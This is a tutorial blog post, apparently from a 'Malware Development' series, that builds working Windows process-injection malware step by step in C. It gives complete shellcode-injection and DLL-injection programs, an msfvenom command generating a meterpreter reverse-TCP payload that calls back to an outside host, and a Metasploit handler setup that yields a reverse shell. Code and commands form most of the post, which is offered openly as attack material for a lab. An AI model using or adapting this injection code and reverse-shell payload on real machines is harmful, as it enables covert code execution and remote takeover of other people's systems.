Skip to main content

Malware Development: Part 2

·3151 words·15 mins· loading · loading ·
Aditya Hebballe
Author
Aditya Hebballe
OSCP Certified Penetration Tester
Table of Contents
Malware Development - This article is part of a series.

Basically Process Injection is when we inject something we want to be ran into a process. There are multiple variants of this.

In this blog we will be using Win32API but in the future blogs we will get deeper and remove as many high level wrappers as possible to make it less detectable, we will discuss using the lower level NTAPI and system calls to execute our tasks. Even this is not enough to make our malware undetectable, we will need a combination of techniques for that which we will discuss eventually.

In this blog we will cover these subsections of process injection:

  • Shellcode injection:
    • Attach to, or create a process
    • Allocate some memory within that process
    • Write the memory to the process
    • Create a thread in the process that will run the code you have embedded into the process memory.
  • DLL Injection: Similar to shellcode injection but we’ll be loading our own library into the target process

Opening a handle to an existing process is less suspicious but we will not worry about evasion right now that’s later.

Shellcode Injection
#

If you’re injecting a x64-bit process then compile a x64-bit program. Make sure your shellcode is x64bit as well.

For this blog I will be using a Windows VM with Ghost Spectre Windows 11 as it offers a toolbox to easily remove and add features. I have removed Windows Security since this is my guinea pig VM.

Open Visual Studio and create a new project. Select Empty Project.

An image for those who need everything spoon-fed to them

Name it
Add a source file:

Let’s define our status codes, this is not necessary but I’m gonna do it:

#include <windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+]" msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*]" msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-]" msg "\n", ##__VA_ARGS__)

int main(int argc, char* argv[]) {
	warn("You do not want %d do this!", 2);
	return EXIT_SUCCESS;
}

Works!

Every Process has a PID which is always a multiple of 4. Let us take the PID through an input.

#include <windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)

DWORD PID = NULL;

int main(int argc, char* argv[]) {
	if (argc < 2) {
		warn("usage:program.exe <PID>");
		return EXIT_FAILURE;
	}

	PID = atoi(argv[1]); //Take input(first argument) and convert to integer
	info("trying to open a handle to process (%ld)\n",PID);
	return EXIT_SUCCESS;
}

So we have taken an input for PID which needs to be a DWORD(not what you’re thinking, it just means a long unsigned integer).

We used atoi to take the input as we need the input as an integer.

Note: If you want more info about a data type, function or anything then ctrl+left-click in visual studio.

Note: If you want more info about a data type, function or anything then ctrl+left-click in visual studio.

Now to check if it runs click on the green play button to build and debug:

Let’s try with arguments, open Developer Powershell:

And it works!

We are going to use OpenProcess function

We need a handle to store the value this function returns which is hProcess. We will also define hThread to hold values in the future.

HANDLE hProcess, hThread = NULL;

In OpenProcess we need to pass 3 arguments:

  • dwDesiredAccess: These are the Access Rights we can specify:
    Let’s just give PROCESS_ALL_ACCESS for now
  • bInheritHandle: We don’t want the processes that this process spawns to inherit the handle so let’s set it to false
  • dwProcessId: The identifier of the local process to be opened. Let’s pass in the PID.

here’s the code so far:

#include <windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)

DWORD PID = NULL;
HANDLE hProcess, hThread = NULL;

int main(int argc, char* argv[]) {
	if (argc < 2) {
		warn("usage:program.exe <PID>");
		return EXIT_FAILURE;
	}

	PID = atoi(argv[1]); //Take input(first argument) and convert to integer
	info("trying to open a handle to process (%ld)\n",PID);

	hProcess = OpenProcess(
		PROCESS_ALL_ACCESS,
		FALSE,
		PID
	);
	
	if (hProcess == NULL) {
		warn("Couldn't get a handle to the process (%ld), error: %ld",PID, GetLastError());
	}

	return EXIT_SUCCESS;
}

Here GetLastError retrieves the error code for the last operation that failed in a Windows API call. Let me demonstrate. Let’s pass in a nonexistent PID:

We get Error 87:
Our parameter was incorrect.

Now let’s try passing in the PID of a process we don’t have permission to:

System Informer
System will always be 4. Let’s try:
We get error code 5:
This is informative as shown so yeah.

So far we have opened a handle to the process, now we need to allocate our bytes into this process’s memory. We will use VirtualAllocEx() and assign it to rBuffer variable which is of type LPVOID.

  • hProcess: The handle to a process in our case it is hProcess
  • lpAddress(optional): The pointer that specifies a desired starting address for the region of pages that you want to allocate. We can just let the process decide so let’s pass in NULL
  • dwSize: The size if memory to allocate in bytes. Let’s create an unsigned char array which will hold the shellcode in future but now let’s just have a placeholder value unsigned char malicious[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41";. Now for the size we can use sizeof(malicious)
  • flAllocationType Allocation type is the type of memory allocation to use. Let’s use. We will use MEM_COMMIT | MEM_RESERVE to reserve and commit pages in one step.
  • flProtect: We need to make sure our shellcode has the necessary permissions to execute so let’s give it that with PAGE_EXECUTE_READWRITE this is very suspicious but since we are not trying to evade AV here let’s give it a pass. There are more options in constants section of this page. VirtualProtect is also used to evade AV sometimes. We will get into AV evasion eventually.

With these additions and a few more:

#include <windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)

DWORD PID = NULL;
HANDLE hProcess, hThread = NULL;
LPVOID rBuffer = NULL;

unsigned char malicious[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41"; //BS Shellcode for now

int main(int argc, char* argv[]) {
	if (argc < 2) {
		warn("usage:program.exe <PID>");
		return EXIT_FAILURE;
	}

	PID = atoi(argv[1]); //Take input(first argument) and convert to integer
	info("trying to open a handle to process (%ld)\n",PID);

	hProcess = OpenProcess(
		PROCESS_ALL_ACCESS,
		FALSE,
		PID
	);
	
	if (hProcess == NULL) {
		warn("Couldn't get a handle to the process (%ld), error: %ld",PID, GetLastError());
	}

	okay("We got a handle to the process!\n\\---0x%p\n", hProcess);

	// Allocate bytes to process memory
	rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(malicious), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	okay("Allocated %zu-bytes with PAGE_EXECUTE_READWRITE permissions\n", sizeof(malicious));
	return EXIT_SUCCESS;
}

Let’s try if the checks work and we can pass in a legit PID:

#Spawn notepad
notepad
#Get the PID
tasklist | findstr Notepad
#Run our program and pass in the PID 
.\x64\Debug\stuxnet2.exe 11160

If you noticed Notepad hasn’t crashed. Why is that? This is because we have just allocated the memory required by our shellcode and given it the permission of PAGE_EXECUTE_READWRITE. We have not yet written the shellcode to memory yet.

To write to the memory we need to use WriteProcessMemory

  • hProcess: Let’s pass in our process handle hProcess
  • lpBaseAddress: It is a pointer to the base address in the specified process to which data is written, in this case it is rBuffer which we defined previously
  • lpBuffer: This is the data to be written which is our shellcode, let’s pass in our shellcode which is stored in malicious.
  • nSize: The size of our shellcode sizeof(malicious).
  • lpNumberOfBytesWritten: This is optional so we can pass in NULL

We will use CreateRemoteThreadEx which will create a thread with our shellcode that runs in the virtual address space of another process which is our host process.

  • hProcess: Our handle to the target process. Pass in hProcess to identify where we want to create the thread.
  • lpThreadAttributes: Security attributes for the thread. We can set this to NULL for default security and to prevent the handle from being inherited.
  • dwStackSize: The stack size of the thread. Set to 0 to let the system use the default size.
  • lpStartAddress: A pointer to the function to be executed. In this case, it’s rBuffer, pointing to our shellcode. (LPTHREAD_START_ROUTINE)rBuffer casts rBuffer to LPTHREAD_START_ROUTINE type which makes CreateRemoteThreadEx treat rBuffer as the start address of the function to execute in the new thread
  • lpParameter: A parameter passed to the thread function. Here, no parameter is needed, so we use NULL.
  • dwCreationFlags: Specifies the creation options. Use 0 to start the thread immediately.
  • lpThreadId: A pointer to a variable to store the thread ID. We pass in &TID to store the thread’s identifier in TID.
#include <windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)

DWORD PID, TID = NULL;
HANDLE hProcess, hThread = NULL;
LPVOID rBuffer = NULL;

unsigned char malicious[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41";

int main(int argc, char* argv[]) {
	if (argc < 2) {
		warn("usage:program.exe <PID>");
		return EXIT_FAILURE;
	}

	PID = atoi(argv[1]); //Take input(first argument) and convert to integer
	info("trying to open a handle to process (%ld)\n",PID);

	hProcess = OpenProcess(
		PROCESS_ALL_ACCESS,
		FALSE,
		PID
	);
	
	if (hProcess == NULL) {
		warn("Couldn't get a handle to the process (%ld), error: %ld",PID, GetLastError());
	}

	okay("We got a handle to the process!\n\\---0x%p\n", hProcess);

	// Allocate bytes to process memory
	rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(malicious), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	okay("Allocated %zu-bytes with PAGE_EXECUTE_READWRITE permissions\n", sizeof(malicious));

	// Write that allocated memory to process memory
	WriteProcessMemory(hProcess, rBuffer, malicious, sizeof(malicious),NULL);
	okay("Wrote %zu-bytes to process memory\n", sizeof(malicious));

	// Create a thread that runs in the virtual address space of another process (our host)
	hThread = CreateRemoteThreadEx(
		hProcess,
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)rBuffer,
		NULL,
		0,
		0,
		&TID);

	//Check for thread handle
	if (hThread == NULL) {
		warn("Failed ti get a handle to the thread, error: %ld", GetLastError());
		return EXIT_FAILURE;
	} 

	okay("Got a handle to the thread (%d)\n\\---0x%p\n", TID, hThread);

	info("Cleaning up!");
	CloseHandle(hThread);
	CloseHandle(hProcess);
	okay("Finished! You are hacked! Yay :)");

	return EXIT_SUCCESS;
}

Let’s try running now with the BS shellcode. Let’s pass in the PID of a notepad instance we start and see if it crashes. If it crashes we will know that the shellcode is being injected.

#Spawn notepad
notepad
#Get the PID
tasklist | findstr Notepad
#Run our program and pass in the PID 
.\x64\Debug\stuxnet2.exe 11160

Notepad crashes so the shellcode is getting injected.
Notepad.exe

Let’s use WaitForSingleObject that will wait for hThread to finish before cleaning.

WaitForSingleObject(hThread, INFINITE);

It will wait for thread to finish, INFINITE makes it wait till it is called.

This is the final code(Without the shellcode):

#include <windows.h>
#include <stdio.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)

DWORD PID, TID = NULL;
HANDLE hProcess, hThread = NULL;
LPVOID rBuffer = NULL;

unsigned char malicious[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41";

int main(int argc, char* argv[]) {
	if (argc < 2) {
		warn("usage:program.exe <PID>");
		return EXIT_FAILURE;
	}

	PID = atoi(argv[1]); //Take input(first argument) and convert to integer
	info("trying to open a handle to process (%ld)\n",PID);

	hProcess = OpenProcess(
		PROCESS_ALL_ACCESS,
		FALSE,
		PID
	);
	
	if (hProcess == NULL) {
		warn("Couldn't get a handle to the process (%ld), error: %ld",PID, GetLastError());
		return EXIT_FAILURE;
	}

	okay("We got a handle to the process!\n\\---0x%p\n", hProcess);

	// Allocate bytes to process memory
	rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(malicious), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	okay("Allocated %zu-bytes with PAGE_EXECUTE_READWRITE permissions\n", sizeof(malicious));

	// Write that allocated memory to process memory
	WriteProcessMemory(hProcess, rBuffer, malicious, sizeof(malicious),NULL);
	okay("Wrote %zu-bytes to process memory\n", sizeof(malicious));

	// Create a thread that runs in the virtual address space of another process (our host)
	hThread = CreateRemoteThreadEx(
		hProcess,
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)rBuffer,
		NULL,
		0,
		0,
		&TID);

	//Check for thread handle
	if (hThread == NULL) {
		warn("Failed ti get a handle to the thread, error: %ld", GetLastError());
		return EXIT_FAILURE;
	} 

	okay("Got a handle to the thread (%d)\n\\---0x%p\n", TID, hThread);


	info("Waiting for thread to finish!");
	WaitForSingleObject(hThread, INFINITE);
	okay("Thread finished Executing!");
	
	info("Cleaning up!");
	CloseHandle(hThread);
	CloseHandle(hProcess);
	okay("Finished! You are hacked! Yay :)");

	return EXIT_SUCCESS;
}

Shellcode Generation
#

For the shellcode we don’t always have to use a Reverse shell, a reverse shell generated by msfvenom for example is going to be heavily signatured(how easily payload can be recognized and detected by AV or IDS).

To avoid detection, shellcode can be obfuscated with techniques like XOR or RC4 encryption, but that’s beyond the focus of this blog(we’ll explore that in the upcoming blogs) . Often, you’ll see calc.exe launched as a proof of concept (PoC); if you can launch calc, it demonstrates that shellcode execution is possible, meaning you could just as easily spawn a shell.

Let’s launch our Kali VM and create a shellcode:

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.31.129 LPORT=80 EXITFUNC=thread -f c --var-name=malicious

Always check the architecture as the wrong architecture will cause the shellcode to not work. EXITFUNC=thread ends only the current thread on exit, keeping the main process running.

Now copy this and replace our malicious variable with it where we defined it.

If you try to compile without disabling Windows Defender then it won’t work and completely nuke our program. Let us setup a listener and then compile and run our “malware”.

msfconsole
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.69.69
msf6 exploit(multi/handler) > set lport 80
lport => 80
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run -j

We can test it out now:

We got a reverse shell now.

DLL Injection
#

A DLL (Dynamic Link Library) is a file that contains code and data that can be used by multiple programs simultaneously. It utilizes dynamic loading, meaning programs can load DLLs into memory only when needed, making the programs smaller and more efficient.

For this we’ll just pop a message box with our DLL (if you want a reverse shell just generate a DLL with msfvenom). Remember that all this is for understanding the concept behind malware development so making our own DLL will make us understand the concept better, we will eventually get to more complicated stuff.

In normal programs there is something like a main function where everything starts (like int main() in C), for DLLs it’s called DllMain.

Create a new project in Visual Studio and let’s get started. After that go to the project properties:

Change the Configuration type to .dll:
Apply and click ok

Find an example for the DllMain entry point here. Create a cpp file and let’s start coding. If we get a handle to DLL like Kernel32 which is a core system library we can use the functions which reside in it. You can take a look at those functions here, if you notice we can see that we have already used a lot of these functions.

We are going to get a handle to the Kernel32 system library

#include <windows.h>

BOOL WINAPI DllMain(
	HINSTANCE hModule, // handle to DLL module
	DWORD fdwReason, // reason for calling function
	LPVOID lpvReserved //reserved
){}

Let’s initialize this.

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hModule,DWORD justWhy,LPVOID lpvReserved){
	switch (justWhy) {
	case DLL_PROCESS_ATTACH:
		MessageBoxW(NULL, L"WHATEVER", L"DOES NOT MATTER", MB_ICONQUESTION | MB_OK);
		break;
	}
	return TRUE;
}

This DLL will spawn a message box. To run it, first compile it then open the Developer Powershell and use

rundll32.exe .\x64\Debug\RandomDLL.dll DllMain

Yay! We have run our first DLL.

Now that we know how to create a DLL let’s move on to DLL injection. Create a new project, most of these are going to be the same as the code from shellcode injection but I will explain the part which is different

#include <stdio.h>
#include <windows.h>

#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)

DWORD PID, TID = NULL;
LPVOID rBuffer = NULL;
HMODULE hKernel32 = NULL; //NEW
HANDLE hProcess, hThread = NULL;

wchar_t dllPath[MAX_PATH] = L"C:\\Users\\Public\\Downloads\\RandomDLL.dll"; //NEW, Path to our randomDLL.dll
size_t dllPathSize = sizeof(dllPath);


int main(int argc, char* argv[]) {
	if (argc < 2) {
		warn("usage:%s <PID>",argv[0]);
		return EXIT_FAILURE;
	}

	PID = atoi(argv[1]);
	info("trying to open a handle to process (%ld)\n", PID);

	hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID);

	if (hProcess == NULL) {
		warn("Couldn't get a handle to the process (%ld), error: %ld", PID, GetLastError());
		return EXIT_FAILURE;
	}

	okay("We got a handle to the process!\n\\---0x%p\n", hProcess);

	rBuffer = VirtualAllocEx(hProcess, NULL, dllPathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Changed
	okay("Allocated %zu-bytes with PAGE_READWRITE permissions\n", dllPathSize);
	
	if (rBuffer == NULL) {
		warn("Couldn't create rBuffer, error: %ld",GetLastError());
		return EXIT_FAILURE;
	}

	WriteProcessMemory(hProcess, rBuffer, dllPath, dllPathSize, NULL);
	okay("Wrote [%S] to process memory\n", dllPath);

	hKernel32 = GetModuleHandleW(L"Kernel32"); //NEW, Get a handle to Kernel32.dll, extension is .dll by default

	if (hKernel32 == NULL) {
		warn("Couldn't get a handle to Kernel32.dll, error: %ld", GetLastError());
		CloseHandle(hProcess);
		return EXIT_FAILURE;
	}

	okay("We got a handle to Kernel32.dll\n\\---0x%p\n", hKernel32);

	LPTHREAD_START_ROUTINE startThis = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW"); //new
	okay("Got the address of LoadLibraryW()\n\\---0x%p\n,startThis");

	hThread = CreateRemoteThread(hProcess, NULL, 0, startThis, rBuffer, 0, &TID);
	if (hThread == NULL) {
		warn("Couldn't get a handle to thread, error: %ld", GetLastError());
		CloseHandle(hProcess);
		return EXIT_FAILURE;
	}

	okay("We got a handle to the newly-created thread (%ld)\n\\---0x%p\n", TID, hThread);
	info("Waiting for the thread to finish execution\n");

	WaitForSingleObject(hThread, INFINITE);
	okay("Thread finished executing, cleaning up...\n");

	CloseHandle(hThread);
	CloseHandle(hProcess);

	okay("Finished! You are hacked!Yay!");

	return EXIT_SUCCESS;
}
  • HMODULE hKernel32 = NULL;: Declares a handle to the Kernel32 module, used later to get the address of LoadLibraryW for DLL injection.
  • wchar_t dllPath[MAX_PATH] = L"C:\\Users\\Public\\Downloads\\RandomDLL.dll";: Specifies the full path to the DLL to be injected, stored in a wide-character array.
  • size_t dllPathSize = sizeof(dllPath);: Holds the size of dllPath, which is used to allocate the correct amount of memory in the target process.
  • hKernel32 = GetModuleHandleW(L"Kernel32");: Retrieves a handle to Kernel32.dll, allowing access to its functions like LoadLibraryW.
  • LPTHREAD_START_ROUTINE startThis = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");: Uses GetProcAddress to retrieve the address of LoadLibraryW from Kernel32.dll, allowing the DLL to be loaded in the target process.

One major downside with LoadLibrary() is that if a DLL has already been loaded once with LoadLibrary(), it will not execute again.

Now we can try running it and see if it works, let us use a powershell one-liner to open notepad and fetch it’s PID to use as an argument for our program:

.\x64\Debug\DLLINJECT.exe (Start-Process notepad -PassThru | ForEach-Object { $_.Id })

We can see our message box popup.

If we open the Process in System Informer and look at it’s memory we can see that our RandomDLL.dll is getting called:

Even in Modules we can see it being imported:

If we double click we can see it is unverified:
A normal DLL would be verified:

So this is easily detectable. We will explore more about hiding our malware in the future blogs.

Malware Development - This article is part of a series.

Related

Malware Development: Part 1
·1977 words·10 mins· loading · loading
Let us jump into learning the prerequisites required for Malware Development! Keep in mind that you will not be developing the next Stuxnet overnight but let us think of this blog as a stepping stone into eventually getting there (eventually here meaning a long time).
Buffer Overflow: The Dark Art of Exploiting Memory
·1888 words·9 mins· loading · loading
Getting Started # A buffer overflow occurs when a program writes more data to a buffer (a contiguous block of memory) than it can hold, leading to adjacent memory locations being overwritten.
Homelab: Attacking Splunk+Active Directory Part-2
·1079 words·6 mins· loading · loading
Introduction # In this part, we will attack the Windows 11 machine (target-pc) from our Kali machine and also use Atomic Red Team on the target-pc to simulate various attacks.